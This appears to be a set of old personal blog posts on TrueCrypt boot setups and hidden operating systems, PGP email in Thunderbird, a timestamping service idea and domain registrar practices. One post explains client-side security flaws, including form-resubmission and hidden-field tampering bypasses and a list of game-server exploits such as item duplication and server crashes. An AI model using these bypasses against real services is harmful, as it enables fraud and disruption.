I decided this was a moot point for a long time, until I saw it got slashdotted. This prompted me to finally change my security model slightly so I was no longer vulnerable to this problem. The appropriate method is to always use a known secure TrueCrypt rescue disk, which contains its own boot loader, to boot the hard drive. Unfortunately, CDs are a bit cumbersome to always keep around. The workaround for me was to use a bootable USB Flash Drive instead, as I keep it on my keychain which is always with me. Getting the TrueCrypt boot loader to work from the flash drive was not easy at all due to how bootable flash drives work (they take the hard drive #0 slot in BIOS, which Windows doesn’t like). It took some GRUB4DOS magic to get things going, but it all ended up working out :-).
I removed the TrueCrypt boot loader from my hard drive so I would not be tempted to use it, and would always use the flash drive. This left the boring message of “Error loading operating system” upon booting without the flash drive, which I just couldn’t stand, so I decided to have some fun writing my own “Operating System Not Found” boot loader :-).
Video Notes:
It’s a lot harder to spot the hidden text string from the video than from the actual thing x.x;
The boot loader was ran through a virtual machine (VMWare) so I could easily record it.
Do not attempt to replace the boot loader on your hard drive without knowing what you are doing, as this is a very dangerous operation that can make your computer unbootable. Always back up your boot loader before making modifications to it so you can easily restore it. Also, when writing a boot loader, do not overwrite bytes 0x1BE-0x1FD of your boot sector as they contain important partition information.
I have been using and recommending Thawte’s freeSMIME email certificates for a number of years. Personal email certificates have always been a bit more attractive for me than PGP for communicating securely with other [not always very computer literate] people since they are directly integrated into most [if not all] email clients.
It’s always been nice to be able to sign an email to another person with my certificate, and just tell them to hit the “encrypt” button next time they send me something either of us want encrypted :-) (email clients automatically store a certificate after receiving it, which signing includes).
I have been using PGP for a few years to communicate with multiple people too, and have decided to try and move all my friends/clients over to it too due to the circumstances. Also, PGP has the major advantage of you creating your own private keys instead of a 3rd party (i.e. Thawte) doing it, meaning only you have the key to access emails encrypted to you.
So anywho, here’s the info on getting PGP set up with Thunderbird in Windows for anyone that needs it.
First, of course, you’ll need Thunderbird, which can be downloaded here.
I recommend you always send all your emails in both HTML and Plain Text, so you can have rich text formatting in your emails by default, but lame people that don’t have clients that read HTML are ok too. To do this, go to Menu > Tools > Options > Composition > General > Send Options > In the top box change it to “Send the message in both plain text and HTML”.
When you run GnuPG for the first time, it’ll ask you if you want to generate a key, which you’ll want to do, unless you already have one made that you need to import.
Next, you’ll want to install Enigmail for Thunderbird. After downloaded it, in Thunderbird, go to Menu > Tools > Add-ons > Extensions > Install, and open the .xpi file.
After Thunderbird restarts, go to Menu > OpenPGP > Setup Wizard and step through it. During this setup, I personally suggest changing the following default options:
“Do you want to change a few default settings...” > Yes > Details > Uncheck the following
Disable flowed text
View message body as plain text
Use 8-bit encoding for message sending
Do not compose HTML message
To encrypt mail to other people, or verify a signed message from them, you need their public key file. Some of the ways they can send their public key to you are as follows:
A normal file send, in which case you will need to import it through GnuPG.
You might also be able to retrieve it from a public key server if they put it there, but I am not going to go into that.
If they send it to you through an attachment in an email, and you double click on it in Thunderbird, you will receive a prompt asking if you’d like to import the key.
To encrypt an email to another person, after having their public key, simple go to Menu > OpenPGP > Encrypt Message in the compose window. Make sure to also check Menu > OpenPGP > Use PGP/MIME for This Message so it can send the HTML!
To send your public key to someone go to Menu > OpenPGP > Attach My Public Key in the compose window.
Never rely solely on information you receive from untrusted sources
One of the most laughable aspects of client/server* systems is client side based security access restrictions. What I mean by this is when credentials and actions are not checked and restricted on the server side of the equation, only on the client side, which can ALWAYS be bypassed.
To briefly explain why it is basically insane to trust a client computer; ANY multimedia, software, data, etc that has touched a person’s computer is essentially now their property. Once something has been on or through a person’s computer, the user can make copies, modify it, and do whatever the heck they want with it. This is how the digital world works. There are ways to help stop copying and modification, like hashes and encryption, but most of the ways in which things are implemented nowadays are quite fallible. There may be, for example, safeguards in place to only allow a user to use a piece of software on one certain computer or for a certain amount of time (DRM [Digital Rights Management]), but these methods are ALWAYS bypassable. The only true security comes by not letting information which people aren’t supposed to have access to cross through their computer, and keeping track of all verifiable factual information on secure servers. A long time ago at an IGDA [International Game Developers Association] meeting (I only ever went to the one unfortunately :-\), I learned an interesting truth that hadn’t occurred to me before from the lecturer. That is, that companies that make games and other software [usually] know it will sooner or later be pirated/cracked**. The true intention of software DRM is to make it hard enough to crack to discourage the crackers into giving up, and to make it take long enough so that hopefully people stop waiting for a free copy and go ahead and buy it. By the time a piece of software is cracked (if it takes as long as they hope), the companies know the majority of the remainder of the people usually wouldn’t have bought it anyways. Now I’m done with the basic explanation of client side insecurities, back to the real reason for this post.
While it is actually proper to program safeguards into client side software, you can never rely on it for true security. Security measures should always be duplicated in both client and server software. There are two reasons off the top of my head for implementing security access restrictions into the client side of software. The first is to help remove strain on servers. There is no point in asking a server if something is valid when the client can immediately confirm that it isn’t. The second reason is for speed. It’s MUCH quicker if a client can detect a problem and instantly inform the user than having to wait for a server to answer, though this time is usually imperceptible to the user, it can really add up.
So I thought I’d give a couple of examples of this to help you understand more where I’m coming from. This is a very big problem in the software industry. I find exploitable instances of this kind of thing on a very regular basis. However, I generally don’t take advantage of such holes, and try to inform the companies/programmers if they’ll listen. The term for this is white hat hacking, as opposed to black hat.
First, a very basic example. Let’s say you have a folder on your website “/PersonalPictures” that you wanted to restrict access to with a password. The proper way to do it would be to restrict access to the whole folder and all files in it on the server side, requiring a password be sent to the server to view the contents of each file. This is normally done through Apache httpd (the most utilized web server software) with an “.htaccess” file and the mod_auth (authentication) module. The improper way to do it would be a page that forwarded to the “hidden” section with a JavaScript script like the following.
if(prompt('Please enter the password')=='SecretPassword')
document.location.href='/PersonalPictures';
The problem with this code is two fold (besides the fact it pops up a request window :-) ). First, the password is exposed in plain text to the user. Fortunately, passwords are usually not as easy to find as this, but I have found passwords in web pages and Flash code before with some digging (yes, Flash files (and Java!) are 100% decompilable to their original source code, sans comments). The second problem is that once the person goes to the URL “/PersonalPictures”, they can get back there and to all files inside it without the password, and also give it freely to others (no need to mention the fact that the URL is written in plain text here, as it’s the same as with the password). This specific problem with JavaScript was much more prevalent in the old day when people ran their web pages through free hosting sites like Geocities (now owned and operated by Yahoo) which didn’t allow for proper password protection.
This kind of problem is still around on the web, though it morphed with the times into a new form. Many server side scripts I have found across the Internet assume their client side web pages can take care of security and ignore the necessary checks in the server scripts. For example, very recently I was on a website that only allowed me to add a few items to a list. The way it was done is that there was a form with a textbox that you submitted every time you wanted to add an entry to the list. After submitting, the page was reloaded with the updated list. After you added the maximum allowed number of items to the list, when the page refreshed, the form to add more was gone. This is incredibly easy to bypass however. The normal way to do this would be to just send the modified packets directly to the server with whatever information you want in it. The easier method would be to make your own form submission page and just submit to the proper URL all you want. The Firebug extension for Firefox however makes this kind of thing INCREDIBLY easy. All that needs to be done is to add an attribute to the form to send the requests to a new window “<form action=... method=... target=_blank>”, so the form is never erased/overwritten and you can keep sending requests all you want. Using Firebug, you can also edit the values of hidden input boxes for this kind of thing.
AJAX (Asynchronous JavaScript and XML - A tool used in web programming to send and receive data from a server without having to refresh a page) has often been lampooned as insecure for this kind of reason. In reality, the medium itself is not insecure at all; it’s just how people use it.
As a matter of fact, the majority of my best and most fun Ragnarok hacking was done with these methods. I just monitored the packets that came in and out of the system, reverse engineered how they were all structured, then made modifications and resent them myself to see what I could do. With this, I was able to do things like (These should be most of the exploits; listed in descending order of usefulness & severity):
Duplicate items
Crash the server (It was never fixed AFAIK, but I stopped playing 5+ years ago. I just put that it was fixed on my site so people wouldn’t look for it ^_^; )
Warp to any map from any warp location (warp locations are only supposed to link to 1 other map)
Spoof your name during chats (so you could pretend someone else was saying something - Ender’s game, anyone? ^_^)
Use certain skills of other classes (I have up pictures of my swordsman using merchant skills to house a selling shop)
Add skills points to an item on your skill tree that is not yet available (and use it immediately)
Warp back to save point without dying
Talk to NPCs on a map from any location on that map, and sometimes from other maps (great for selling items when in a dungeon)
Attack with weapons much quicker than was supposed to be allowed
Use certain skills on creatures from any location on a map no matter how far they are
Equip any item in any spot (so you could equip body armor on your head slot and get much more free armor defense points)
Run commands on your party/guild and in chat rooms as if you were the leader/admin
Rollback a characters stat’s to when you logged on that session (part of the dupe hack)
Bypass text repetition, length, and curse filters
Find out user account names
The original list is here; it should contain most of what I found. I took it down very soon after putting it up (replacement here) because I didn’t want to explicitly screw the game over with people finding out about these hacks (I had a lot of bad encounters with the company that ran the game, they refused to acknowledge or fix existing bugs when I reported them). There were so many things the server didn’t check just because the client wasn’t allowed to do them naturally.
Here are some very old news stories I saved up for when I wrote about this subject:
Just because you don’t give someone a way to do something doesn’t mean they won’t find a way.
*A server is a computer you connect to and a client is the connecting computer. So all you people connecting to this website are clients connecting to my web server.
**“Cracked” usually means to make a piece of software usable when it is not supposed to be, bypassing the DRM
On computers equipped with certain brands of audio cards, when performing the system encryption pretest or when the system partition/drive is encrypted, the sound card drivers failed to load. This will no longer occur. (Windows Vista/XP/2003)
It is possible to access mounted TrueCrypt volumes over a network. (Windows)
I am quite impressed that they did this so quickly, and am sad I did not find out until now. They also fixed the other missing feature I reported to them within a month of that [version 5.1]
Support for hibernation on computers where the system partition is encrypted (previous versions of TrueCrypt prevented the system from hibernating when the system partition was encrypted). (Windows Vista/XP/2008/2003)
Also in the version history [5.1a], this little paragraph made me smile
[Update 2008-04-02: Although we have not filed any complaint with Microsoft yet, we were contacted (on March 27) by Scott Field, a lead Architect in the Windows Client Operating System Division at Microsoft, who stated that he would like to investigate our requirements and look at possible solutions. We responded on March 31 providing details of the issues and suggested solutions.]
Other very important features they have added for version 6.0 that I am super happy about:
Embedded backup header (located at the end of the volume)
Up to 20% faster resuming from hibernation when the system partition/drive is encrypted. (As I have always been super frustrated by super slow hibernation resume support on my now abandoned partition encryption software suite, BestCrypt.)
Multithreading support (Faster parallel processing, yay)
I did some speed tests of hibernation support in XP and got the following numbers: (Results are averages of at least 5 tests, in seconds)
*VMWare was running with 256MB of RAM and 1 virtual CPU on Laptop**. VMWare results were not always stable due to other processes on the host machine, so I terminated the worst offenders
**Laptop is a 2.4ghz Pentium Core Duo with 2GB RAM and 60GB hard drive running at 7200RPM
The decoy (first) partition holds a decoy OS and is accessible from the password prompt (password #3) at bootup. You should not have any sensitive data in it, and can give out the password if need be. TrueCrypt recommends using this decoy OS at least as much as the hidden OS so if someone checks out the decoy they are not suspicious of it. If the perpetrator is suspicious of the decoy due to non use, the size of the partition, or just the fact that you have TrueCrypt installed, you may need to fall back onto the second stage of the security in the below paragraph.
The outer (second) partition holds some decoy files and a hidden volume inside of it. It is accessible by either the decoy or hidden OS by opening the partition through a normal TrueCrypt device mounting (password #1). It is recommended to give out its password only if you have already been forced to mount your decoy OS and the perpetrator suspects a secure partition as is explained in the above paragraph. If any data is written to it after creation, it can destroy information at random within the Hidden OS (see “Partition Sizes” at the bottom).
The hidden partition holds its own OS and is hidden within the outer (second) partition. It is accessible from the password prompt (password #2) at bootup or by mounting the partition from TrueCrypt as a device when the decoy OS is open. The decoy partition/OS is NOT accessible while the hidden OS is open.
Basic installation procedure:
Create a computer with 2 partitions. The second (outer) partition must be 5% larger than the first (decoy) for a FAT file system, or 110% (2.1x) larger for a NTFS file system (see “Partition Sizes” at the bottom). You might as well make the outer partition FAT since it won’t be used much, if at all, and this won’t affect the hidden partition.
Install your operating system on the first (decoy) partition with all of your applications and data that are not sensitive.
Run the TrueCrypt hidden install, this does the following:
Asks for outer volume password (Password #1). Creates and formats the second (outer) partition/volume.
Lets you copy some “sensitive looking” files to the outer partition. Nothing should ever be changed or added to the outer partition after this, see “Partition Sizes” at the bottom.
Asks for hidden volume password (Password #2). The hidden partition is created within the outer partition.
Asks for decoy volume password (Password #3).
Rescue disk is created
All data from the first (decoy) partition is copied to the hidden partition, and then all data from the first (decoy) partition is encrypted.
And finally, things that bugged me, because I like to vent :-) :
Forced creation of rescue disk on full volume encryption. Having the file is more than enough since it can be copied to other hard drives, but it wanted proof of the rescue disc creation, so I just mounted the ISO to a virtual drive.
No customized pre-boot screens. This isn’t important really, but I loved my hokie ASCII art ^_^;.
Partition sizes: The hidden OS partition will be the exact same size as the decoy and the outer partition must be at least 5% larger for FAT and 110% larger for NTFS than the decoy.
The hidden OS partition will be the exact size as the decoy partition because they are originally duplicates of each other, including their original partition tables, which include the size of the partition.
The outer (second) partition that holds the hidden partition must be at least 5% larger for FAT and 110% larger for NTFS than the decoy. The reason for this is the file contents tables. NTFS, unfortunately in this case, stores its file table in the middle of the partition. The outer partition’s file table does not, however, affect the hidden partition in any way.
So, for example (these numbers are theoretical, I am not entirely sure if these are correct), if we have a 2GB decoy partition, the outer NTFS partition must be at least 4.2GB and the hidden partition will be 2GB. If we made the outer partition 6GB, then 0-3GB would be writable, 3.0GB-3.6GB would be used for the file table, 3.6GB-4.0GB would be writable, and 4.0GB-6.0GB would be used by the hidden operating system. So, theoretically, you could write 3.4GB to the outer volume before problems started occurring, but I wouldn’t trust NTFS to only write to the beginning of the drive.
So I was thinking of a new project that might be fun, useful, and possibly even turn a little profit, but I was talked out of it by a friend due to the true complexity of the prospect past the programming part. The concept isn’t exactly new by a long shot, but my idea for the implementation is, at least I would like to think, novel.
For a very long time, it has been important to be able to prove, without a doubt, that you have the oldest copy of some IP to prove you are the original creator. The usual approach to this is storing copies of the IP at a secure location with the storage time recorded. This is, I am told, very often used in the film industry, as well as many others.
The main downside to this for the subscriber, IMO, is having their IP, which may be confidential, stored by a third party, and entrusting their secrets to an outsider’s security. Of course, if these services are done properly and are ISO certified for non-breachable secure storage, this shouldn’t be a problem as they are probably more secure than anything the user has themselves. One would like to think, though, that entrusting your IP to no one but yourself is the most secure method.
The out-of-house storage method may also require that there be records accessible by others telling that you stored your IP elsewhere, and that it exists, which you may not want known either. This is not always a problem though because some places allow completely anonymous storage.
A large downside for the provider is having to supply and maintain the medium for the secure storage, whether it be vaults for physical property, or hard drives for virtual property.
My solution to this problem, for virtual property anyways, is to not have the provider permanently store the user’s data at all, but provide a means by which the provider can authenticate a set of the user’s data as being unchanged since a certain date. This would be accomplished by hashing the user’s data against a random salt. The salt would be determined by the date and would only be known by the provider.
This would work as follows:
Every day, the server would create a completely random salt string of a fixed length, probably 128 bits. This random salt would be the only thing the server would need to remember and keep secret. This process could also be done beforehand for many days or years.
As the user uploaded the data through a secure connection, the server would process it in chunks, probably 1MB at a time, through the hash function.
The hash function, probably a standard one like MD5, would be slightly modified to multiply the current hash on each block iteration against the daily random salt. The salt would also be updated per upload by a known variable, like multiplying the salt against the upload size, which would be known beforehand, or the exact time of upload.
A signature from a public-key certificate of a combined string of the time of upload and the hash would be calculated.
The user would be returned a confirmation string, which they would need to keep, that contained the time of upload the signature.
Whenever the user wanted to verify their data, they would just have to resend their data and the confirmation string, and the server would return if it is valid or not.
I was thinking the service would be free for maybe 10MB a day. Different account tiers with appropriate fees would be available that would give the user 1 month of access and an amount of upload bandwidth credits, with would roll over each month. Unlimited verifications would also be allowed to account holders, though these uploads would still be applied towards the user’s credits. Verifications without an account would be a nominal charge.
The only thing keeping me from pursuing this idea is that for it to be truly worth it to the end user’s, the processing site and salt tables would have to be secured and ISO certified as such, which would be a lot more costly and trouble than the initial return would provide, I believe, and I don’t have the money to invest in it right now.
I do need to find one of these normal storage services soon for myself soon though. I’ll post again about this when I do.
[edit on 6/15/08 @ 5:04pm]
Well, this isn’t exactly the same thing, but a lot like it. http://www.e-timestamp.com
Just as is the case with windows, where you never install before at least the first service pack is released, so is the case with TrueCrypt, it seems.
TrueCrypt is open source, which is a major plus, and in my opinion, the best solution for encrypting data. In a nutshell, TrueCrypt allows the creation of encrypted “container files” that when mounted act as a hard drive partition, accessible through a password and/or a key file. The encryption, security, and speed are all top notch and the program runs completely transparent to the user after volume mounting, so I would highly recommend the program to anyone that has anything at all to hide :-).
It also has some other useful options like the ability to encrypt USB flash cards for opening at other locations without having TrueCrypt installed, and “hidden container files” in which a second hidden volume is contained within the same container, unlockable by a separate password/key file, which is great for plausible deniability. I have been always been a fan of TrueCrypt since I first found and adopted it years ago, and would highly recommend it.
Unfortunately, TrueCrypt 5.0, which was just released a few days ago, does not yet meet quality standards. It does all the old stuff it used to of course, and adds some great new features, but the multiple bugs I have found are forcing me to revert to an older version of it, and back to other 3rd party applications I have been using for other types of encryption.
The new feature, which I’ve been looking forward too for ages is pre-boot authentication volume encryption, which basically means encrypting 100% of your hard drive (partition) that contains Windows (or another OS) on it so you only have to put in your password during boot, and EVERYTHING is encrypted and safe, and impossible (by today’s standards) to access before the password is put in. This is especially important for laptops due to the increased likelihood of it falling into others’ hands through loss or theft. Unfortunately, full volume encryption has broken 2 things; the ability to put my laptop into hibernation (which was also a problem with other volume encryption programs I’ve tried in the past), and oddly enough, it broke my audio drivers so I have no sound XD. So, I’m reverting back to BestCrypt Volume Encryption [v1.95.1], which I’ve also been using for quite a while, that does the same thing, but allows hibernation. My only beefs with it are that it’s closed source, something that isn’t usually a problem in my book, but is for this case [security], and that hibernation is SLOW, probably due to the fact that it can no longer use DMA, due to needing to pass data through the CPU for encryption. Another, technically not so important, feature TrueCrypt doesn’t include yet that most other volume encryption pre-boot authentication packages include is customized boot password prompt screens. I’ve included my incredibly dorky screens (for BestCrypt Volume Encryption) below :-D.
The other thing that is broken, oddly enough, forcing me to revert to TrueCrypt 4.3a, is I can’t mount containers over a network anymore through Windows File and Print Sharing :-\. Ah well, hopefully they’ll get these things fixed soon enough.
My boot password prompt, and no, I will not explain it, except that DarkSide was my previous computer handle a very good number of years ago.
A boot prompt I made for a female friend, weeee, ASCII art ^_^;.
Note that when creating a screen for BestCrypt Volume Encryption, the characters 0x08 0x09 0x0A 0x0D are all invalid. The “&” is used to place the password prompt.
One other Volume Encryption I tried, which was just about as good, though I do not recall if it allowed hibernation, was DriveCrypt Plus Pack [v3.90G]. It also allowed bitmaps [pictures] for the boot password prompt screen.
Alas at insecure systems that are important to us all
I’ve been waiting to hear this kind of news for years: Domains May Disappear After Search. I’ve often told people for this kind of reason to watch where they are registering domains, as I believe some registrars like register.com are not very scrupulous and would do this exact kind of thing. I personally use GKG for all my domain registration needs, though they have recently ticked me off with a policy I recently ran into in which you can’t modify any information on a domain 6 months after renewing an expired domain with a credit card. Their tech support also isn’t very good, but they have fair prices and excellent domain management interfaces.
Another huge domain problem is “domain tasting” in which domains can be registered and then refunded within a five day grace period. Unethical people will use this to register expired domains and keep them if they get enough hits. After all, domains only really cost 25 cents to register if you are an accredited ICANN (Internet Corporation for Assigned Names and Numbers) registrar, which cost something like $3000 to obtain. This is a big problem if anyone lets their domain expire. Fortunately, some services, like GKG, give you a grace period to reregister your domain after it expires before others can try to claim it.